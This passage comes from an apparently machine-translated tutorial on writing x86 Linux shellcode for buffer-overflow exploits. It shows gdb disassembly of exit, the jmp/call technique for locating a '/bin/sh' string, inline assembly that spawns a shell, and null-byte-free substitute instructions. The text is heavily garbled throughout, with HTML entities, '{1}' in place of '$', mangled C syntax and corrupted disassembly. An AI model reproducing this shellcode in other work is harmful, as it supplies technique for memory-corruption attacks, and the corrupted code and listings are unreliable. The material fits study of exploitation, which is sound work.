1. The previous analysis of Main and Execve, with the "Basic Shellcode extraction method" in the corresponding part of the explanation.
If the EXECVE () call fails, the program will continue to fetch the instruction from the stack and execute it, while the data in the stack is random, usually the program will be core dump. If we want the program to still exit gracefully when the EXECVE () call fails, we must add an exit system call after the EXECVE () call. Its C language program is as follows:
root@linux:~/pentest# cat shellcode_exit.c #include <stdio.h> #include <stdlib.h>intMainintargcChar**ARGV) {exit (0); root@linux:~/pentest# gdb shellcode_exit GNU gdb (Ubuntu/linaro 7.2-1ubuntu11) 7.2 Copyright (C) Free Softwar E Foundation, Inc. License gplv3+: GNU GPL version 3 or later forDetails. This is GDB was configured as "I686-linux-gnu". For bugs reporting instructions, please: forfunction exit@plt:0x080482f0 <+0>: jmp *0x804a008 0x080482f6 <+6>: Push {1}x10 0x08 0482FB <+11>: jmp 0x80482c0 end of assembler dump. (GDB) |
The GDB disassembly allows you to see that the GCC compiler now hides the implementation details of the exit system call to us. However, by flipping through previous versions of GDB disassembly information, you can still get the implementation details of the exit system call.
[scz@/home/scz/src]> gdb shellcode_exit GNU gdb 4.17.0.11 with Linux support this GDB is configured as "I386-redh At-linux "... (gdb) Disas _exit Dump of assembler code forfunction _exit:0x804b970 <_exit>: movl%ebx,%edx 0x804b972 <_exit+2>: Movl 0x4 (%esp,1),%EBX 0x804b976 <_exit+6>: movl {1}x1,%eax 0x804b97b <_exit+11>:int{1}x80 0x804b97d <_exit+13>: Movl%edx,%ebx 0x804b97f;: <_exit+15> {Cmpl 1}xfffff001,%eax <_exit+20>: Jae 0x804bc60 <__syscall_error> end of assembler dump. |
As we can see, the exit system call puts 0x1 into the EAX (which is the Syscall index value) and exits the stacking into the EBX (the return value of most programs when they exit is 0) and executes the "int 0x80" system call.
In fact, so far, we're going to construct shellcode, but we don't know exactly where we're going to put the string in memory. In section 3.1 We get the string start address by pressing the string stack. In this section, we will give a design that determines the starting address of the string. The program uses the JMP and call directives. Since the JMP and call directives can adopt EIP relative addressing, that is to say, we can jump from the currently running address to an offset address without having to know the exact address value of the address. If we place the call instruction before the "/bin/bash" string and then jmp to the position of the call instruction, when the call instruction is executed, it first presses the address of the next instruction to be executed (that is, the starting address of the string) onto the stack. This allows you to get the starting address of the string. Then we can have the call command invoke the first instruction of our shellcode and then pop the return address (the string start address) from the stack into a register.
The execution process of the shellcode we want to construct is shown in the following illustration:
Shellcode Execution Process Resolution:
After the RET overlay returns the EIP, the child function returns with a jump to our shellcode at the beginning of the address. Since the Shellcode start address is a jmp instruction, it jumps directly to our call command. The call instruction will return the address ("/bin/bash" string address) after the stack, jump to the jmp instruction at the next address of the command to continue execution. This allows you to get the address of the string.
That
beginning_of_shellcode:jmp subroutine_call subroutine:popl%esi ... (Shellcode itself) ... subroutine_call:call subroutine/bin/sh |
Below, we construct shellcode in the form of assembler in C language.
root@linux:~/pentest# Cat shellcode_asm.c #include <stdio.h>intMainintargcChar&NBSP;**ARGV) { __asm__ (" \ jmp subroutine_call; \ subroutine: \ popl %esi; \ movl % esi,0x8 (%esi); \ movl { 1}X0,0XC (%esi); \ movb {1}x0,0x7 (%esi); \ &NBSP;&NBSP;&NBSP;&NBSP;&NBSP;&NBSP;&NBSP;&NBSP;MOVL {1}xb,%eax; \ movl %esi ,%ebx; \ leal 0x8 (%esi),%ecx; \ &NBSP;LEAL&NBSP;0XC (%esi),%edx; \ int{1}x80; \ movl {1}x0,%ebx; \ movl {1}x1,%eax; \int{1}x80; \ subroutine_call: \ Call subroutine; \. String \ "/bin/sh\"; \ "); return 0; } root@linux:~/pentest# objdump -d shellcode_asm 08048394 <main>: 8048394: 55 push %ebp 8048395: 89 e5 mov %esp,%ebp 8048397: eb 2a jmp 80483c3 <subroutine_call> 08048399 <subroutine>: 8048399: 5e pop %esi 804839a: 89 76 08 mov %esi,0x8 (%esi) 804839d: c7 46 &NBSP;0C&NBSP;00&NBSP;00&NBSP;00&NBSP;00&NBSP;&NBSP;&NBSP;&NBSP;&NBSP;MOVL&NBSP;&NBSP;&NBSP;{1}X0,0XC (%esi) 80483a4: c6 46 07 00 movb {1}x0,0x7 (%esi) 80483a8: b8 0b 00 00 00 mov {1}xb,%eax 80483ad: 89 f3 mov %esi,%ebx 80483af: 8d 4e 08 lea 0x8 (%esi),%ecx 80483b2: 8d 56 0c &NBSP;&NBSP;&NBSP;&NBSP;&NBSP;LEA&NBSP;&NBSP;&NBSP;&NBSP;0XC (%esi),%edx 80483b5: cd 80 int1}x80 80483B7:BB mov (1}x0,%ebx 80483bc:b8) mov (1}x1,%eax 80483C1:CD 80int {1}x80 080483c3 <subroutine_call>: 80483c3: e8 d1 ff ff ff call 8048399 <subroutine> 80483c8: 2f das 80483c9: 62 69 6e bound %ebp,0x6e (%ECX) 80483cc: 2f das 80483cd: 73 68 jae 8048437 <__libc_csu_init+0x57> &NBSP;80483CF: 00 b8 00 00 00 00 add %bh,0x0 (%eax) 80483d5: 5d pop %ebp &NBSP;80483D6:&NBSP;&NBSP;&NBSP;&NBSP;C3 ret 80483d7: 90 nop 80483d8: 90 nop 80483d9: 90 nop 80483da: 90 nop 80483db: 90 nop 80483dc: 90 nop 80483dd: 90 nop 80483de: 90 nop 80483df: 90 nop |
Replace the null byte contained in the SHELLCODE directive:
Instructions with null bytes |
Alternative directives |
MOVL $0x0,0xc (%esi) Movb $0x0,0x7 (%esi) |
Xorl%eax,%eax MOVL%eax,0xc (%esi) Movb%al,0x7 (%esi) |
MOVL $0xb,%eax |
Xorl%eax,%eax Movb $0xb,%al |
MOVL $0x1,%eax MOVL $0X0,%EBX |
Xorl%EBX,%EBX IOVL%ebx,%eax Inc%eax |
The revised code and disassembly results are as follows:
root@linux:~/pentest# Cat shellcode_asm.c #include <stdio.h>intMainintargcChar&NBSP;**ARGV) { __asm__ (" \ jmp subroutine_call; \ subroutine: \ popl %esi; \ movl % esi,0x8 (%esi); \ xorl % eax,%eax; \ &NBSP;&NBSP;MOVL&NBSP;%EAX,0XC (%esi); \ movb %al,0x7 (%esi); \ movb {1}xb,% al; \ movl %esi,%ebx; \ leal 0x8 (%esi),%ecx; \ &NBSP;&NBSP;&NBSP;&NBSP;&NBSP;LEAL&NBSP;0XC (%esi),%edx; |